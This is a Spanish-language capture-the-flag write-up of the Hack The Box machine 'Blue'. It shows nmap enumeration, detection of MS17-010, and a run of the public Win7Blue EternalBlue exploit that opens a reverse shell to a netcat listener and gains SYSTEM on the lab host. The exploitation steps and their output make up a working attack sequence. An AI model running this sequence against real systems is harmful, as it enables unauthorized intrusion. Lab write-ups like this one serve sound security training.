Blue

Blue, aunque posiblemente sea la máquina más simple en Hack The Box, demuestra la gravedad del exploit EternalBlue, que se ha utilizado en múltiples ataques de ransomware y criptominería a gran escala desde que se filtró públicamente.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Blue. Este resultado lo almacenaremos en un archivo llamado allPorts.

❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.40 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 16:59 CET
Nmap scan report for 10.10.10.40
Host is up (0.076s latency).
Not shown: 64302 closed tcp ports (reset), 1224 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 25.76 seconds

A través de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.

❯ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.10.40
	[*] Open ports: 135,139,445,49152,49153,49154,49155,49156,49157

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.

❯ nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 17:03 CET
Nmap scan report for 10.10.10.40
Host is up (0.11s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1 (98%), Microsoft Windows 7 or Windows Server 2008 R2 or Windows 8.1 (97%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows 7 SP1 (95%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 (95%), Microsoft Windows Windows 7 SP1 (95%), Microsoft Windows Vista Home Premium SP1, Windows 7, or Windows Server 2008 (95%), Microsoft Windows Vista SP1 (94%), Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1 (94%), Microsoft Windows 7 or Windows Server 2008 R2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-01-24T16:04:40+00:00
|_clock-skew: mean: 6s, deviation: 1s, median: 5s
| smb2-time: 
|   date: 2025-01-24T16:04:39
|_  start_date: 2025-01-24T15:56:41
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   152.17 ms 10.10.16.1
2   54.54 ms  10.10.10.40

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.20 seconds

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

❯ xsltproc targetedXML > index.html

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato más cómodo para su análisis.

SMB Enumeration

Realizaremos un escaneo más profundo a través de la herramienta de Nmap y sus scripts sobre el puerto SMB (445).

En el resultado obtenido, verificamos que la máquina es vulnerable a MS17-010 (EternalBlue).

❯ nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 10.10.10.40
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 17:20 CET
NSE: Loaded 7 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:20
Completed NSE at 17:20, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 17:20
Completed Parallel DNS resolution of 1 host. at 17:20, 0.03s elapsed
Initiating SYN Stealth Scan at 17:20
Scanning 10.10.10.40 [2 ports]
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 139/tcp on 10.10.10.40
Completed SYN Stealth Scan at 17:20, 0.29s elapsed (2 total ports)
NSE: Script scanning 10.10.10.40.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:20
Completed NSE at 17:20, 7.58s elapsed
Nmap scan report for 10.10.10.40
Host is up, received user-set (0.19s latency).
Scanned at 2025-01-24 17:20:37 CET for 8s

PORT    STATE SERVICE      REASON
139/tcp open  netbios-ssn  syn-ack ttl 127
445/tcp open  microsoft-ds syn-ack ttl 127

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:20
Completed NSE at 17:20, 0.00s elapsed
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds
           Raw packets sent: 2 (88B) | Rcvd: 2 (88B)

Intrusion and Privilege Escalation

EternalBlue es una vulnerabilidad crítica en el protocolo SMB (Server Message Block) que permite a un atacante ejecutar código remoto en sistemas Windows sin necesidad de autenticarse. Fue explotada por un exploit desarrollado por la NSA, que más tarde fue filtrado por el grupo Shadow Brokers en 2017.

EternalBlue Exploitation (MS17-010) [Win7Blue]

Verificaremos la arquitectura y el sistema operativo del equipo víctima. A través de nxc comprobamos que se trata de un Windows 7 Professional x64.

❯ nxc smb 10.10.10.40
SMB         10.10.10.40     445    HARIS-PC         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)

Nos descargaremos el siguiente repositorio, para realizar el ataque y ejecutaremos el script Win7Blue.

GitHub - d4t4s3c/Win7Blue: Scan/Exploit - EternalBlue MS17-010 - Windows 7 32/64 BitsGitHub

❯ git clone https://github.com/d4t4s3c/Win7Blue; cd Win7Blue
Clonando en 'Win7Blue'...
remote: Enumerating objects: 497, done.
remote: Counting objects: 100% (154/154), done.
remote: Compressing objects: 100% (111/111), done.
remote: Total 497 (delta 88), reused 81 (delta 43), pack-reused 343 (from 1)
Recibiendo objetos: 100% (497/497), 2.32 MiB | 2.03 MiB/s, listo.
Resolviendo deltas: 100% (279/279), listo.

❯ chmod +x Win7Blue

❯ ./Win7Blue

Estableceremos en el apartado de RHOST la dirección IP del equipo víctima, por otro lado, configuraremos nuestra dirección IP y puerto donde estaremos en escucha.


┌═══════════════════════════════════┐
║  ██╗    ██╗██╗███╗   ██╗███████╗  ║
║  ██║    ██║██║████╗  ██║╚════██║  ║
║  ██║ █╗ ██║██║██╔██╗ ██║    ██╔╝  ║
║  ██║███╗██║██║██║╚██╗██║   ██╔╝   ║
║  ╚███╔███╔╝██║██║ ╚████║   ██║    ║
║   ╚══╝╚══╝ ╚═╝╚═╝  ╚═══╝   ╚═╝    ║
║ ██████╗ ██╗     ██╗   ██╗███████╗ ║
║ ██╔══██╗██║     ██║   ██║██╔════╝ ║
║ ██████╔╝██║     ██║   ██║█████╗   ║
║ ██╔══██╗██║     ██║   ██║██╔══╝   ║
║ ██████╔╝███████╗╚██████╔╝███████╗ ║
║ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ ║
║ [+]  EternalBlue -- MS17-010  [+] ║
└═══════════════════════════════════┘

 [1] Scanner Vuln [Nmap]
 [2] Scanner Arch [NetExec]
 [3] Exploit Win7 [32 bits]
 [4] Exploit Win7 [64 bits]
 [5] Exit

 $   4

¿RHOST? 10.10.10.40

¿LHOST? 10.10.16.5

¿LPORT? 443

[i] Creating SHELLCODE with MSFVENOM...

[i] Please start NETCAT listener: nc -lvnp 443

press ENTER to continue...

Desde una nueva terminal, nos pondremos en escucha tal y como nos indica el script.

❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Ejecutaremos el exploit dándole al Enter.

┌═══════════════════════════════════┐
║  ██╗    ██╗██╗███╗   ██╗███████╗  ║
║  ██║    ██║██║████╗  ██║╚════██║  ║
║  ██║ █╗ ██║██║██╔██╗ ██║    ██╔╝  ║
║  ██║███╗██║██║██║╚██╗██║   ██╔╝   ║
║  ╚███╔███╔╝██║██║ ╚████║   ██║    ║
║   ╚══╝╚══╝ ╚═╝╚═╝  ╚═══╝   ╚═╝    ║
║ ██████╗ ██╗     ██╗   ██╗███████╗ ║
║ ██╔══██╗██║     ██║   ██║██╔════╝ ║
║ ██████╔╝██║     ██║   ██║█████╗   ║
║ ██╔══██╗██║     ██║   ██║██╔══╝   ║
║ ██████╔╝███████╗╚██████╔╝███████╗ ║
║ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ ║
║ [+]  EternalBlue -- MS17-010  [+] ║
└═══════════════════════════════════┘

 [1] Scanner Vuln [Nmap]
 [2] Scanner Arch [NetExec]
 [3] Exploit Win7 [32 bits]
 [4] Exploit Win7 [64 bits]
 [5] Exit

 $   4

¿RHOST? 10.10.10.40

¿LHOST? 10.10.16.5

¿LPORT? 443

[i] Creating SHELLCODE with MSFVENOM...

[i] Please start NETCAT listener: nc -lvnp 443

press ENTER to continue...

[+] Launching Exploit

shellcode size: 1232
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done

Verificaremos que hemos ganado acceso como usuario NT AUTHORITY\SYSTEM y podemos visualizar las flags de user.txt y root.txt.

❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.40] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

...[snip]...

C:\Users\haris\Desktop>type user.txt
type user.txt
1b17027ecc**********************

C:\Users\haris\Desktop>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
c65daeb786**********************

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